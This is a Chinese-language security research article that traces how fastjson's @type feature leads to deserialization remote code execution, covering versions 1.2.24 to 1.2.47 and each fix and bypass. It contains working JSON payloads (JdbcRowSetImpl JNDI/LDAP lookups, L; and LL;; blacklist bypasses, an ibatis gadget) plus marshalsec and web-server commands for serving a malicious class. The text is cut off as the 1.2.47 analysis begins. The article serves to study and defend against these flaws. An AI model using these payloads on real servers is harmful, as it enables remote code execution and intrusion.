声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。
就先一路补了很多其他知识点,RMI反序列化,JNDI注入,7u21链等(就是之前的文章),之后也是拖了很长时间,花了很长时间,总算把这篇一开始就想写的文,给补完了。
类似的文是已经有了不少,学习也是基于前辈们的文章一步步走来,但是个人习惯于把所有问题理清楚,讲清楚。理应是把大佬们的文要细致些。
本文需要前置知识:JNDI注入,7u21利用链,可以戳我往期的文章。
文章内容如下:
1.fastjson组件基础介绍及使用(三种反序列化形式等)
2.fastjson组件的@type标识的特性说明(默认调用setter、getter方法条件等)。
3.分析了fastjson组件1.2.24版本中JNDI注入利用链与setter参数巧妙完美适配(前置知识参考JNDI注入一文)
4.分析了fastjson组件1.2.24版本中JDK1.7TemplatesImpl利用链的漏洞触发点poc构造(前置知识参考7u21一文)
5.分析了1.2.24-1.2.46版本每个版本迭代中修改代码,修复思路和绕过。(此时由于默认白名单的引入,漏洞危害大降)
6.到了1.2.47通杀黑白名单漏洞,因为网上对于这个分析文有点过多。这边想着直接正向来没得意思。尝试从代码审计漏洞挖掘的角度去从零开始挖掘出这一条利用链。最后发现产生了一种我上我也行的错觉(当然实际上只是一种错觉,不可避免受到了已有payload的引导,但是经过分析也算是不会对大佬的0day产生一种畏惧心理,看完也是可以理解的)最后再看了下修复。
fastjson组件
fastjson组件是阿里巴巴开发的反序列化与序列化组件。
组件api使用方法也很简洁
//序列化String text = JSON.toJSONString(obj);
//反序列化VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
我们通过demo来使用一下这个组件
以下使用测试均是基于1.2.24版本的fastjson jar包
靶机搭建需要存在漏洞的jar包,但是在github上通常会下架存在漏洞的jar包。
我们可以从maven仓库中找到所有版本jar包,方便漏洞复现。
fastjson组件使用
先构建需要序列化的User类:
User.java
package com.fastjson;
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) { t
his.name = name;
}
public int getAge() { return age;
}
public void setAge(int age) { this.age = age;
}
}
再使用fastjson组件
以上使用了三种形式反序列化
结果如下:
//序列化serializedStr={"age":11,"name":"lala"}//parse({..})反序列化parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"lala","age":11}//parseObject({..})反序列化parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}//parseObject({},class)反序列化parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552
parseObject({..})其实就是parse({..})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。
public static JSONObject parseObject(String text) {
Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
而parseObject({},class)好像会调用class加载器进行类型转化,但这个细节不是关键,就不研究了
那么三种反序列化方式除了返回结果之外,还有啥区别?
在执行过程调用函数上有不同。
结果如下:
//JSON.parse("")name setter called
com.fastjson.FastJsonTest@5a2e4553//JSON.parseObject("")name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}//JSON.parseObject("",class)name setter called
com.fastjson.FastJsonTest@e2144e4
结论:
-
parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
-
parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
-
parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)
之所以parseObject("")有区别就是因为parseObject("")比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。
@type
那么除开正常的序列化,反序列化。
fastjson提供特殊字符段@type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。
我们先来看一下这个字段的使用:
//@使用特定修饰符,写入@type序列化String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);//通过parse方法进行反序列化Object obj4 = JSON.parse(serializedStr1);
System.out.println("parse反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);//通过这种方式返回的是一个相应的类对象Object obj5 = JSON.parseObject(serializedStr1);
System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName());
System.out.println("parseObject反序列化:"+obj5);
//序列化serializedStr1={"@type":"com.fastjson.User","age":11,"name":"lala"}//parse反序列化parse反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@1cf4f579//parseObject反序列化parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
这边在调试的时候,可以看到,本该解析出来的@type都没有解析出来
以上我们可以知道当@type输入的时候会特殊解析(不然的话会有@type:com.fastjson.User的键值对),那么自动调用其特定的set,get方法怎么说呢?
我们先建立一个序列化实验用的Person类
Person.java
@type反序列化实验:
package com.fastjson;import com.alibaba.fastjson.JSON;public class type { public static void main(String[] args) {
String eneity3 = "{"@type":"com.fastjson.Person", "name":"lala", "full_name":"lalalolo", "age": 13, "prop": {"123":123}, "sex": 1}"; //反序列化
Object obj = JSON.parseObject(eneity3,Person.class); //输出会调用obj对象的tooString函数
System.out.println(obj);
}
}
结果如下:
Person构造函数
setAge()
getProp()
[Person Object] name=lala full_name=null, age=13, prop=null, sex=null
public name 反序列化成功
private full_name 反序列化失败
private age setAge函数被调用
private sex getsex函数没有被调用
private prop getprop函数被成功调用
可以得知:
-
public修饰符的属性会进行反序列化赋值,
private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
-
getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用
决定这个set/get函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build函数处
在进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法
set开头的方法要求如下:
-
方法名长度大于4且以set开头,且第四个字母要是大写
-
非静态方法
-
返回类型为void或当前类
-
参数个数为1个
寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名(好像会过滤_,就是set_name这样的方法名中的下划线会被略过,得到name)。再去跟这个类的属性去比对有没有这个名称的属性。
如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
这里的is就是有的网上有的文章中说反序列化会自动调用get、set、is方法的由来。个人觉得这种说法应该是错误的。
真实情况应该是确认存在符合setXxx方法后,会与这个方法绑定一个xxx属性,如果xxx属性不存在则会绑定isXx属性(这里is后第一个字符需要大写,才会被绑定)。并没有调用is开头的方法
自己从源码中分析或者尝试在类中添加isXx方法都是不会被调用的,这里只是为了指出其他文章中的一个错误。这个与调用的set方法绑定的属性,再之后并没有发现对于调用过程有什么影响。
所以只要目标类中有满足条件的set方法,然后得到的方法变量名存在于序列化字符串中,这个set方法就可以被调用。
如果有老哥确定是否可以调用is方法,可以联系我,非常感谢。
get开头的方法要求如下:
-
方法名长度大于等于4
-
非静态方法
-
以get开头且第4个字母为大写
-
无传入参数
-
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
所以我们上面例子中的getsex方法没有被调用是因为返回类型不符合,而getprop方法被成功调用是因为Properties 继承 Hashtable,而Hashtable实现了Map接口,返回类型符合条件。
再顺便看一下最后触发方法调用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue,(在被调用的方法中下断点即可)
那么至此我们可以知道
-
@type可以指定反序列化成服务器上的任意类
-
然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
-
如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)
上面说到readObejct("")还会额外调用toJSON调用所有getter函数,可以不符合要求。
看上去应该是挺正常的使用逻辑,反序列化需要调用对应参数的setter、getter方法来恢复数据。
但是在可以调用任意类的情况下,如果setter、getter方法中存在可以利用的情况,就会导致任意命令执行。
对应反序列化攻击利用三要素来说,以上我们就是找到了readObject复写点,下面来探讨反序列化利用链。
我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type这个属性的。
【<=1.2.24】JNDI注入利用链——com.sun.rowset.JdbcRowSetImpl
利用条件
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
当然JDK版本有特殊需求,在JNDI注入一文中已说过,这里就不再说明
利用链
在JNDI注入一文中我们已经介绍了利用链,把漏洞触发代码从
String uri = "rmi://127.0.0.1:1099/aa";//可控uriContext ctx = new InitialContext();
ctx.lookup(uri);
衍生到了
import com.sun.rowset.JdbcRowSetImpl;public class CLIENT { public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}
下面尝试用fastjson的@type来使服务端执行以上代码,可以看到我们需要调用的两个函数都是以set开头!这说明我们可以把这个函数当作setter函数进行调用!
去看一下这两个函数接口符不符合setter函数的条
public void setDataSourceName(String var1) throws SQLException public void setAutoCommit(boolean var1)throws SQLException
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个
完美符合!直接给出payload!
{
"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
"dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"autoCommit":true // 再调用setAutoCommit函数,传入true
}
java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)
package 版本24;import com.alibaba.fastjson.JSON;import com.fastjson.User;public class POC {
String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}";
JSON.parse(payload);
}
使用工具起一个ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest
之前的ExecTest.class,也不用修改直接上来
在1.8下编译后使用python起web服务
py -3 -m http.server 8090
【<=1.2.24】JDK1.7 的TemplatesImpl利用链
利用条件
基于JDK1.7u21 Gadgets 的触发点TemplatesImple的利用条件比较苛刻:
-
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
-
服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);
这是因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据
对于 JDK1.7u21 Gadgets 不熟悉的同学,可以参考我之前的文章。
在之前的文章也说过,TemplatesImpl对应的整条利用链是只有在JDK1.7u21附近的版本才能使用,但是最后TemplatesImpl这个类的触发点,其实是1.7全版本通用的。(因为修复只砍在了中间环节AnnotationInvocationHandler类)
那么实际上fastjson正是只利用了最后的TemplatesImpl触发点。这个利用方式实际上是1.7版本通用的。
其利用局限性在于服务端反序列化json的语句必须要支持private属性。
网上的payload,需要自己编译生成一个class文件不是很方便。
在版本24.jdk7u21_mine中自己把7u21链的payload中拿过来,自己改了下,可以自动生成payload。
可以看到payload使用@type反序列化了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。
7u21 那篇文中总结得到恶意TemplatesImple类需要满足如下条件。
-
TemplatesImpl类的 _name 变量 != null
-
TemplatesImpl类的_class变量 == null
-
TemplatesImpl类的 _bytecodes 变量 != null
-
TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
-
我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
-
TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类
显而易见1-3,5均符合(_class没有赋值即为null)。
然后我们调用满足条件的恶意TemplatesImple类的getOutputProperties方法,完成RCE。这是fastjson将自动调用字段的getter方法导致的,我们看一下getOutputProperties方法是否满足自动调用getter方法的条件: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties();
} catch (TransformerConfigurationException e) { return null;
}
}
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong(上面举例的时候说过Properties继承自Hashtables,实现了Map,所以符合)
那么存在以下三个问题
-
为什么_tfactory可以是一个空的对象,而不是一个拥有getExternalExtensionsMap的类?
-
_bytecodes为什么不再是字节码,而是需要base64编码?
-
我们要调用TemplatesImple类的getOutputProperties方法,但是为什么是_outputProperties字段,多了一个_?
_tfactory为空的说明
在fastjson组件对于以上这一串东西进行解析时,会先解析出@type来还原出TemplatesImpl类。然后再根据之后的字段将TemplatesImpl类的属性赋值,至于赋值的内容会重新进行一次解析。
在看对于赋值内容的解析步骤时,会发现当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例。
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:627
/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:62
那么_tfactory的应有的格式是哪来的呢,从定义来。
/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;
所以之所以_tfactory的json字符串的值为空是OK的。
_bytecodes需要base64编码
跟踪_bytecodes字段的值处理,同样还是刚才的地方,但是由于_bytecodes的值不是对象,进入另一个赋值方式。
/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:71
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
//进去后判断字段类型,当前是class[B byte数组,上面啥都不做,进行解析
...
}
JSONArray array = new JSONArray();
parser.parseArray(componentClass, array, fieldName);//进入此处
return (T) toObjectArray(parser, componentClass, array);
}
com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { final JSONLexer lexer = parser.lexer; if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA); return null;
} //我们输入的json串中, _bytecodes 字段对应的值是String类型字符串,进入此处
if (lexer.token() == JSONToken.LITERAL_STRING) { byte[] bytes = lexer.bytesValue();//进入此处,获取json串的值恢复到byte数组
lexer.nextToken(JSONToken.COMMA); return (T) bytes;
}
com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte[] bytesValue() { return IOUtils.decodeBase64(text, np + 1, sp);//base64解码
}
可见在代码逻辑中,字段的值从String恢复成byte[],会经过一次base64解码。这是应该是fastjson在传输byte[]中做的一个内部规定。序列化时应该也会对byte[]自动base64编码。
try一下,果然如此。
_getOutputProperties字段=>getOutputProperties方法
简单的删掉_试一下:
可以发现,并不会对结果造成什么影响,可见这个_不是必须的。
那么是在哪里对这个_进行了处理呢?
在字段解析之前,会对于当前字段进行一次智能匹配com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = smartMatch(key);//进入此处,根据json串的字段名来获取字段反序列化解析器。
...
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
然后在赋值的时候完美触发getoutputProperties方法。
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)
public void setValue(Object object, Object value) { if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) { return;
} try {
Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { //判断特殊类型
... //进入getoutputProperties方法的返回值是Properties符合该一项(之前说过)
} else if (Map.class.isAssignableFrom(method.getReturnType())) { //进入调用,object是我们的恶意TemplatesImpl类
Map map = (Map) method.invoke(object);
那么以上流程就是_getOutputProperties字段 => getOutputProperties方法具体演变的细节。那么以上分析结果也让我们知道加个骚气的小杠-应该也是可以的。
至此就完成了在知道Templates触发类原理的情况下,变形衍生到了fastjson中完成RCE。
至于Templates恶意类的第二个触发点,xalan 2.7.2的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在JDK反序列化Gadgets7u21一文中有补充说明,这里就不多说了
Fastjson抗争的一生
在讲述完最开始引发漏洞的1.2.24版本之后,其实接下来的部分才是开起此篇的初衷。但是因为基础实在是差+懒,直到现在才开始正文。
1.2.24漏洞版本修复
在1.2.25版本,针对1.2.24版本进行了修复。
我们可以总结以下1.2.24版本的漏洞产生原因:
-
@type该关键词的特性会加载任意类,并给提供的输入字段的值进行恢复,如果字段有setter、getter方法会自动调用该方法,进行赋值,恢复出整个类。
这个过程会被叫做fastjson的反序列化过程,注意不要把这个过程跟java反序列化过程混为一谈。它们两个是同等级的存在,而不是前者基于后者之上。也就是说readObject()反序列化利用点那一套在这根本不适用。相应的@type加载任意类+符合条件的setter与getter变成了反序列化利用点(个人总结的三要素中的反序列化漏洞触发点)。 -
在找到可以调用的setter、getter之后,从这个可以被出发的setter、getter之后就可以沿着不同的反序列化利用链前进,比如具有一定限制条件的TemplatesImpl利用链,JNDI注入的利用链。(个人总结三要素中的反序列化利用链)
-
沿着链就会到最后的payload触发点。比如JNDI的远程恶意class文件的实例化操作(构造函数,静态方法)或调用类中getObjectInstance方法,与TemplatesImpl利用链中的class文件字节码的的实例化操作(构造函数,静态方法)(个人总结三要素中的反序列化payload触发点)
可以注意到最终的payload触发点具有好像是巧合的统一性,都类似于是一个class文件的实例化操作。在commons-collections中则是反射机制(这在@type中的getter、setter函数调用中也被用到)。我们应该对这两个点产生敏感性。
修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于@type标签进行一个白名单+黑名单的限制机制。
使用万能的idea对两个版本的jar包进行对比
可以注意到,在解析json串的DefaultJSONParser类中做了一行代码的修改。当输入的键值是@type时,原本直接对值对应的类进行加载。现在会将值ref传入checkAutoType方法中。
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。参考官方wiki
Fastjson默认AutoTypeSupport为False(开启白名单机制),通过需要服务端通过以下代码来显性修改。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); (关闭白名单机制)
由于checkAutoType中两条路线的代码是穿插的,我们先来看默认AutoTypeSupport为False时的代码。
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(开启白名单机制)
可以得出在默认的AutoTypeSupport为False时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载。
看一下默认黑名单,默认白名单(最下面,默认为空)
这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。
1.2.25-1.2.41绕过
所以接下来所谓的绕过都是在服务端显性开启AutoTypeSupport为True的情况下进行的。(这是一个很大的限制条件)
我们先来看显性修改AutoTypeSupport为True时的代码:
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制)
可见在显性关闭白名单的情况下,我们也需要绕过黑名单检测,同时加载的类不能继承自Classloader与DataSource。
看似我们只能找到其他的利用类跟黑名单进行硬刚。但我们再跟一下类的加载TypeUtils.loadClass就会有所发现。
-
如果这个className是以[开头我们会去掉[进行加载!
但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。
-
如果这个className是以L开头;结尾,就会去掉开头和结尾进行加载!
那么加上L开头;结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为:
//1.2.25-41绕过 jndi ldap{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}//1.2.25-41绕过 7u21同样加上L;,payload太长了且不唯一,就不写了
1.2.42版本修复
在1.2.42中对于1.2.41版本进行了修复,对于两个jar进行对比可以发现DefaultJSONParser.java没有什么关键的修改。
关键是在ParserConfig.java中修改了以下两点:
-
修改明文黑名单为黑名单hash
-
对于传入的类名,删除开头L和结尾的;
黑名单大致形式如下:
虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)
public static long fnv1a_64(String key){ long hashCode = 0xcbf29ce484222325L; for(int i = 0; i < key.length(); ++i){ char ch = key.charAt(i);
hashCode ^= ch;
hashCode *= 0x100000001b3L;
} return hashCode;
}//可以注意到,计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算
有一个Github项目就是完成了这样的事情,并列出了目前已经得到的hash。
再是对于传入的类名,删除开头L和结尾的;。com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
确实有效的干掉了L开头;结尾的payload。
1.2.42绕过
但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,重复一下就可以被轻易的绕过。所以payload如下:
//1.2.42绕过 jndi ldap{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}//1.2.42绕过 7u21同样加上LL ;;,payload太长了且不唯一,就不写了
1.2.43版本修复
在1.2.43中对于1.2.42版本可绕过的情况进行了修复。
修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)的部分代码
可见就对了LL开头的绕过进行了封堵。
至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的,这时候fastjson的风险已经很小了。
之后就是不断有新的组件作为利用链引入进行攻击,和黑名单的不断扩充之间的拉锯战。(之前也说过着一切都是在显性关闭白名单的情况下)
1.2.44 [ 限制
1.2.44补充了loadclass时[的利用情况,上面说到过,实际上这种形式的payload是用不了的。
比如FastjsonExpliot框架中的{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}
但是在1.2.44中仍然对于这类类名进行了限制,使用同样的payload进行测试。
1.2.45 黑名单添加
1.2.45添加了黑名单,封堵了一些可以绕过黑名单的payload,比如:
//需要有第三方组件ibatis-core 3:0{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题。
之后更新的版本比如1.2.46也都在补充黑名单
但是在1.2.47时,一个全新的payload就没有这种限制,通杀。
1.2.47 通杀payload!
我们在分析1.2.47时,将从一个挖掘0day的角度去一步步分析,企图复现这个漏洞的挖掘过程,不然正向看,不得劲。payload在最后给出。
我们重新来理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)这个阻挠我们的方法,上面我们提到过白名单开关时我们走的是不一样的路线,还在注释中提到会有一些固定类型的判断,这就是通杀payload的关键。
我们接下来看的是1.2.47版本的包,我们看总结后的代码结构:
仔细分析了一下,可以发现无论是白名单开启与否,我们的恶意类都要想办法必须要从第8步的return clazz出去才有机会。
-
因为白名单关闭(手动)时,我们如果进入第九步,会百分百跟黑名单正面撞上,必然被杀。我们只能在这之前溜出去,机会就在6,7步中。
-
白名单开启时(默认),虽然在第五步时,我们也会跟黑名单撞上,但是却莫名其妙的会有一线生机,只要满足TypeUtils.getClassFromMapping(typeName) != null(是!=)反而可以从黑名单中逃开。然后从第八步中return出去。
那往之前看clazz可以从哪里赋值,5、6、7三个地方,但是5是白名单匹配才返回。这不可能。
于是开始关注6,7这两个操作到底是干啥的,(其实根据已知白名单开不开都通杀的特性,肯定是在第6步TypeUtils.getClassFromMapping中得到的恶意类,但是这边都瞅瞅,后面也会用到)
-
TypeUtils.getClassFromMapping(typeName)
-
deserializers.findClass(typeName)
deserializers.findClass(typeName)
先看desesrializers,一个hashmap
private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>();
因为我们是从中取值,关注一下它是在哪里赋值的,当前文件搜索deserializers.put。
com.alibaba.fastjson.parser.ParserConfig#initDeserializers:给出一部分截图
initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。
除此之外还有两个类会影响到desesrializers这个map
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
//太过复杂代码省略
在这个类中会往deserializers这个mapping中放入一些特定类:java.awt.*、java.time.*、java.util.Optional*、java.nio.file.Path、Map.Entry.class、以及在服务器META-INF/services/目录下存放的class文件,还有枚举类的一些判断。对于一些数组,集合,map等再调用putDesserializer(这也是另一个会影响到desesrializers这个map的类)放入deserializers这个mapping中。
在这个类中对于类名有着严格的要求和限定,不太行。看下一个。
com.alibaba.fastjson.parser.ParserConfig#putDeserializer
public void putDeserializer(Type type, ObjectDeserializer deserializer) {
deserializers.put(type, deserializer);
}
代码极其简单,但是只在ParserConfig#getDeserializer(就是上面那个类)和initJavaBeanDeserializers类中使用过。但是后者是一个初始化函数,我们同样不可控输入值。
那么我们好像发现我们的输入不可以改变deserializers这个mapping的值,从而自然也不能进一步在checkAutoType中被get读取出来,也就绕过不了。
这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度。
那我们换一条路看看TypeUtils.getClassFromMapping(typeName)。
TypeUtils.getClassFromMapping(typeName)
先看getClassFromMapping:
//这个map是一个hashmapprivate static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
... public static Class<?> getClassFromMapping(String className){ //很简单的一个mapping的get
return mappings.get(className);
}
按照套路去寻找影响这个mappings的put方法。搜索mappings.put,在下面这两个方法中有找到:
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
看addBaseClassMappings这个方法,方法内容很长,我们就不细看了,但是它是一个没有传参的方法….这样我们就没有一个可控的参数去控制其中的内容。
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class); //诸如此类的放入一些固定的class至mappings中
...
}
并且还只在两个没毛病的地方调用了这个方法:
前者是一个static静态代码块:
static{
addBaseClassMappings();
}
后者是一个clearClassMapping方法:
public static void clearClassMapping(){
mappings.clear();
addBaseClassMappings();
}
没戏,不可控。
再看另一个有mappings.put的位置TypeUtils.loadClass,我们需要详细看看这个方法:
其实这个TypeUtils.loadClass,在1.2.25-1.2.41中我们分析过一小段,其实是同一个函数!
可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)
看看这个类在什么地方被引用。
前三者都是在ParserConfig#autocheck这个我们需要攻克的类中,如果能在那里调用loadClass并传入一个恶意类去加载。那就已经完成了我们的最终目的,根本不需要通过mappings这个空子去钻。
所以只需要看TypeUtils.java中的引用处。
public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true);
}
cache为true,一个好消息,因为有三处修改mapping的地方,两个地方需要cache为true。
这百年可以看到在这个类中会自己引用自己的类,跳来跳去,但是也有外部的类引用当前类。这是我们主要关注的。(因为一个底层的工具类,不可能被我们直接调用到)
慢慢看,把跳出去的接口理出来
/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334
这两个静态的,没搞头,就不看了。
只有上面一个跳出去MiscCodec.java#deserialze的,我们再过去看看:
以下代码段请一大段一大段倒着回退回来看
那么经过分析,我们可以得到的关注点又跑到parser.resolveStatus这上面来了
-
当parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个"val":"恶意类名",来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。
所以一个json串的格式大概为"@type"="java.lang.Class","val":"恶意类名" 这样一个东西,大概如此。
-
当parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。再加上clazz=class类
大概需要一个json串如下:"@type"="java.lang.Class","恶意类名"。
至于哪里调用了MiscCodec.java#deserialze,查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行
定向砸payload
